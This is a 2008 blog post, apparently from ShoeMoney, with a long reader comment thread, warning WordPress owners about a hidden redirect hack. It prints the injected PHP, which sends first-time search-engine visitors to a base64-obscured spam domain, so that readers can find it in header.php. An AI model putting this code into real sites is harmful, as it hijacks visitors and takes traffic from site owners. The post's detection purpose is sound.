Jun 9 2008
Jeremy Schoemaker

Wordpress Redirect h4x’s

By Jeremy Schoemaker 63 comments

Lately I have noticed some peoples blogs had been redirecting to some spammy landing page when you goto them from Google. I notified them about it and they thought I was nuts... cause they could not reproduce it.

Donncha (wish your girlfriend was hot like me(sorry)) O Caoimh well known wordpress developer has made a great post about how sites are hacked and also what to look for.

Donncha also has pinpointed the redirect and cookie hack which is very difficult to detect but what I have suspected has been going on:

PHP:
  1. <?php $seref=array("google","msn","live","altavista","ask","yahoo","aol","cnn","weather","alexa");
  2.  
  3. $ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser="1"; break; }
  4.  
  5. if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWx0cy5uZXQ=")."/"); exit; }?>

The code above basically redirects people from your website to their choice if:

1) they are coming from a search engine or other big referral site.
2) they have never visited your site before (no cookies are set).

Its pretty slick and very hard to detect since only NEW visitors would be effected.

Make sure you check all of your blogs for that code. (in header.php)

Please Rate This Post: 1 Star2 Stars3 Stars4 Stars5 Stars (No Ratings Yet)
Loading ... Loading ...
  1. Tom at the Real Estate Bloggers said on June 9th, 2008 at 1:51 pm

    So the tip off would be a large drop in search engine traffic? I know that I would notice a big drop in traffic on my sites.

    [Reply]

  2. Jeff - buzzmyblog.com said on June 9th, 2008 at 1:55 pm

    Wow. Good find. Which php file do you normally find that hack in?

    [Reply]

  3. ShoeMoney said on June 9th, 2008 at 1:55 pm

    being the redirect headers would have to be sent first it should be in your header file.

    [Reply]

  4. Jeff - buzzmyblog.com said on June 9th, 2008 at 1:57 pm

    Actually, you would probably still see the search engine traffic, right? The search engine would still send the traffic to your site, but then the hack would redirect it somewhere else.

    [Reply]

  5. ShoeMoney said on June 9th, 2008 at 1:57 pm

    Depends:

    Since the file still loads on your site the hit and refer will still register in your apache log files. So log parsers would still see it.

    Javascript based analytics like Google Analytics though would show a decline (since the javascript is not proccessed)

    BUT this hacker could simply have a iframe with your site loaded on his redirect and your stats would look the exact same.

    [Reply]

  6. Donncha O Caoimh said on June 9th, 2008 at 1:58 pm

    har, har :P

    I really must do that “how to pronounce my name” video…

    [Reply]

  7. ShoeMoney said on June 9th, 2008 at 1:59 pm

    I am sorry I could not help myself.

    Really though hats off great post.

    [Reply]

  8. Tyler Ingram said on June 9th, 2008 at 2:10 pm

    I know this is a bit picky with code but you could of also showing it using using in_array() instead of a foreach loop ;) But then again you were just showing how it could be done.

    [Reply]

  9. CPA Affiliates said on June 9th, 2008 at 2:34 pm

    good tip man. there will always be hackers just have to out think them :)

    [Reply]

  10. Jonathan Volk said on June 9th, 2008 at 3:04 pm

    Thanks for the tip! I am checking it out now.

    [Reply]

  11. Jonathan Volk said on June 9th, 2008 at 3:05 pm

    ROFL. I loved the joke.

    [Reply]

  12. ShoeMoney said on June 9th, 2008 at 3:08 pm

    Actually I was quoting the exploit exactly to show people what to look for.

    [Reply]

  13. Sports Picks said on June 9th, 2008 at 3:19 pm

    Very clever! I guess another way to detect it will be to clear the browser cookies for your site (I personally use the Add N Edit Cookies plugin for Firefox), then google your site and click a link and see what happens.

    [Reply]

  14. Paul said on June 9th, 2008 at 3:30 pm

    grrr. These guys are slick.

    [Reply]

  15. Stak Loaded - How to make money doing nothing! said on June 9th, 2008 at 3:39 pm

    How do they get that onto your site?

    [Reply]

  16. Michael D said on June 9th, 2008 at 3:43 pm

    Any suggestions on a search string to search multiple blogs on single server? For wordpress looking in header.php correct?

    [Reply]

  17. Steve McGrath said on June 9th, 2008 at 3:45 pm

    I was expecting that you were going to talk about “wp-stat-php” which gave the same symptoms. Zero traffic from Google. One of my blog got it last week. People using Google could not access it and I could not even login into my blog. I wrote a post about it to that others learn about this one. I got the worst case of “wp-stat-php” .

    Removing wp-stats-php

    I since upgraded my whole blog network to be safer. Those with niche or not often updated could lose money/time. I sure did. :(

    So, people, upgrade to the latest version of WP.

    Yours is another example of someone using a security weakness.

    Do you know if it was with WP 2.5.1?

    [Reply]

  18. Apoorv said on June 9th, 2008 at 3:55 pm

    How do the hackers edit that thing ?

    [Reply]

  19. Website Reveiws said on June 9th, 2008 at 3:58 pm

    I would also like to know this! Is there some sort of security exploit in WP that needs to be patched?

    [Reply]

  20. Aaron Kronis said on June 9th, 2008 at 3:58 pm

    Thanks for looking out for us all shoe…

    [Reply]

  21. it gossips said on June 9th, 2008 at 3:58 pm

    I’ve decoded the base 64 code and the link is pointing to anyresults.net. :D LOL. Thanks for great example!
    Now the only problem is how to inject this script to wordpress blogs. Using old versioned wordpress bugs is a great idea. But I won’t do it :D

    [Reply]

  22. Merlin said on June 9th, 2008 at 4:14 pm

    Two things, first and most relevent; how is this code inserted into the header page?

    Second, please stop slandering hackers. I will not bother reiterating what others have said before me; enjoy a message from Stallman [with a note or two from me]:
    This letter is not meant for publication, although you can publish it if you wish. It is meant specifically for you, the editor, not the public.

    I am a hacker. That is to say, I enjoy playing with computers working with, learning about, and writing clever computer programs. I am not a cracker; I don’t make a practice of breaking computer security. [In fact, I make a practice of increasing computer security]

    There’s nothing shameful about the hacking I do. But when I tell people I am a hacker, people think I’m admitting something naughty because news[sources] such as yours misuse the word “hacker”, giving the impression that it means “security breaker” and nothing else. You are giving hackers a bad name.

    The saddest thing is that this problem is perpetuated deliberately. Your reporters know the difference between “hacker” and “security breaker”. They know how to make the distinction, but you don’t let them! You insist on using “hacker” pejoratively. When reporters try to use another word, you change it. When reporters try to explain the other meanings, you cut it.

    Of course, you have a reason. You say that readers have become used to your insulting usage of “hacker”, so that you cannot change it now. Well, you can’t undo past mistakes today; but that is no excuse to repeat them tomorrow.

    If I were what you call a “hacker”, at this point I would threaten to crack your computer and crash it. But I am a hacker, not a cracker. I don’t do that kind of thing! I have enough computers to play with at home and at work; I don’t need yours. Besides, it’s not my way to respond to insults with violence. My response is this letter.

    You owe hackers an apology; but more than that, you owe us ordinary respect.

    [Reply]

  23. Sports Picks said on June 9th, 2008 at 4:22 pm

    I guess they gain access to the server/account? Or maybe the files don’t have the proper permissions set in the first place?

    [Reply]

  24. Melvin said on June 9th, 2008 at 5:15 pm

    actually i have read it in my wordpress admin and really have looked instantly to my header.php.. thanks for the reminder though

    [Reply]

  25. Merlin said on June 9th, 2008 at 5:17 pm

    You mean crackers. Good luck outthinking actual hackers.

    [Reply]

  26. Merlin said on June 9th, 2008 at 5:20 pm

    Even with permissions they still need a way to upload the file if they edit it. Most likely the account was compromised via plaintext FTP sniffing, which is still sickeningly common.

    [Reply]

  27. Sports Picks said on June 9th, 2008 at 5:38 pm

    It looks like there are different versions of this hack, in some cases they modified the .htaccess to do the redirect…

    More info here: http://ocaoimh.ie/2008/06/08/did-your-wordpress-site-get-hacked/

    [Reply]

  28. Joe Money said on June 9th, 2008 at 5:42 pm

    Wow, good work finding that one out. I did not know about that one.

    [Reply]

  29. Text Lingo said on June 9th, 2008 at 6:03 pm

    very helpful post. thanks!

    [Reply]

  30. Monica Livingstone said on June 9th, 2008 at 6:28 pm

    But to make this on the header.php I think you have to have the password of the web host, because how do you would make this whithout the password/

    [Reply]

  31. team ray said on June 9th, 2008 at 7:02 pm

    i think that why they are called hackers

    [Reply]

  32. ShoeMoney said on June 9th, 2008 at 7:36 pm

    completely incorrect… read the linked post.

    [Reply]

  33. ShoeMoney said on June 9th, 2008 at 7:37 pm

    hahaha please……..

    Ive been a speaker at defcon and blackhat conferences and going for the last 8 years…. Was a security administrator for one of the largest banks in the world for years before that.

    I know you think you sound smart quoting some dude but you come off like a asshole

    [Reply]

  34. Gav said on June 9th, 2008 at 9:42 pm

    I assume this hack finds it’s way in when you download a dodgy/free template? I’ve noticed lots of WP templates have loads of suspicious looking code in there that only looks like it’s hiding something…

    [Reply]

  35. Ken Nickless said on June 9th, 2008 at 10:02 pm

    Thanks for the info. I’m off to check my blogs now.

    [Reply]

  36. Terry Tay said on June 9th, 2008 at 10:34 pm

    The food and bad about the interenet. THe bad being always having to look out for these things…The good being blogs like this looking out for us and helping us along.
    Thanks!
    ~Terry

    [Reply]

  37. Terry Tay said on June 9th, 2008 at 10:35 pm

    oops…The GOOD and bad…

    [Reply]

  38. Best Videos said on June 9th, 2008 at 11:01 pm

    Thanks for the update.
    any way to secure our blogs ?

    [Reply]

  39. Melvin said on June 9th, 2008 at 11:26 pm

    i wish there is a plugin for it,..

    [Reply]

  40. Kevin said on June 9th, 2008 at 11:48 pm

    I have had this happen before when I clicked and ad for a site. Now I know what to look for in my own sites I am going to take a god look. Thanks Shoe.

    [Reply]

  41. Jacky Supit said on June 10th, 2008 at 1:19 am

    yeah that’s what i use to do. oops :D

    [Reply]

  42. purposeinc said on June 10th, 2008 at 2:27 am

    Thanks for pointing it out. Luckily I don’t have this one yet!
    dk

    [Reply]

  43. Bob said on June 10th, 2008 at 5:36 am

    thanks for posting this shoe!!

    [Reply]

  44. Georgia said on June 10th, 2008 at 8:38 am

    I hate f**kers that can’t just do their own thing without trying to rip from others.

    [Reply]

  45. Tim Linden said on June 10th, 2008 at 8:54 am

    The iframe would have his page as the referer then ;-)

    [Reply]

  46. Graham Langdon said on June 10th, 2008 at 1:03 pm

    dude, Shoe, I think you’re site is infected with this or something similar. I went to shoemoney.com directly from my browser, and it took me to “GetGoogleAdsFree.com” or something like that. I was like wtf? Then I typed in Shoemoney.com again and came here successfully.

    Just givin you a heads up. Ironic you had a post up about it.

    [Reply]

  47. Graham Langdon said on June 10th, 2008 at 1:04 pm

    oh wow, I’m an idiot, I typed in shoemoeny.com
    false alarm

    [Reply]

  48. Not John Chow said on June 10th, 2008 at 1:42 pm

    Yeah Thanks! You really are a super hero. Earned the big S ..oops $ on your shirt today.

    [Reply]

  49. Samir said on June 10th, 2008 at 2:42 pm

    Nice find Jeremy. If you clear your cache and cookies shouldn’t you see this issue when you go to your site then?

    [Reply]

  50. forumistan said on June 10th, 2008 at 6:32 pm

    Good find Jeremy. The hacker encoded his/her site to base64

    [Reply]

  51. Start Blogging said on June 12th, 2008 at 9:16 am

    Nice find. I think I saw this once or twice lately as well.

    [Reply]

  52. Binary Ant said on June 12th, 2008 at 9:20 am

    This sucks! these people are…bastards?

    [Reply]

  53. PPC said on June 13th, 2008 at 11:35 am

    Quite scary, so no drop off in traffic will be allied to reduced conversions.

    [Reply]

  54. PPC said on June 13th, 2008 at 11:41 am

    Let’s face it people, there will always be internet pirates trying to rustle your traffic. They will get caught out, their tactics will change, but one thing wont. They will always be around, and hats off to people like O Caoimh for exposing their tr5icks.

    [Reply]

  55. Web Marketeer said on June 15th, 2008 at 1:35 am

    And thank you very much for sharing this with the community at large, Jeremy. Forewarned is forearmed.

    [Reply]

  56. Web Marketeer said on June 15th, 2008 at 1:38 am

    An age of modern buccaneers indeed! Betcha the hairdo’s ain’t much better either!

    [Reply]

  57. Krayzie said on June 15th, 2008 at 2:24 pm

    Thanks for the heads up, Ill def check my blog for this. Thats a purty damn smart way to steal some traffic. And lmao that hacker rant was funny as hell.

    [Reply]

  58. Cash In Your Pocket...By Tomorrow said on November 7th, 2008 at 11:05 am

    nice share, as always

    [Reply]

  59. Wordpress redirect hack fix !!! - Netpond said on June 9th, 2008 at 4:25 pm

    [...] or other big referral site. 2) they have never visited your site before (no cookies are set). Wordpress Redirect h4xs - ShoeMoney __________________ SPACASH V2.0 - GREAT SITES, CONTENT, PROMO TOOLS, RSS FEEDS, BANNERS & [...]

  60. [...] Shoemoney - WordPress Redirect h4x’s [...]

  61. [...] Shoemoney - WordPress Redirect h4x’s [...]

  62. [...] seen a lot of sites (Shoemoney, Digital Point, Ocaoimh) reporting about a Wordpress hack that will “steal” your search [...]

  63. [...] Shoemoney - WordPress Redirect h4x’s [...]

What do you think? Join the discussion...

How do I change my avatar?

Go to gravatar.com and upload your preferred avatar.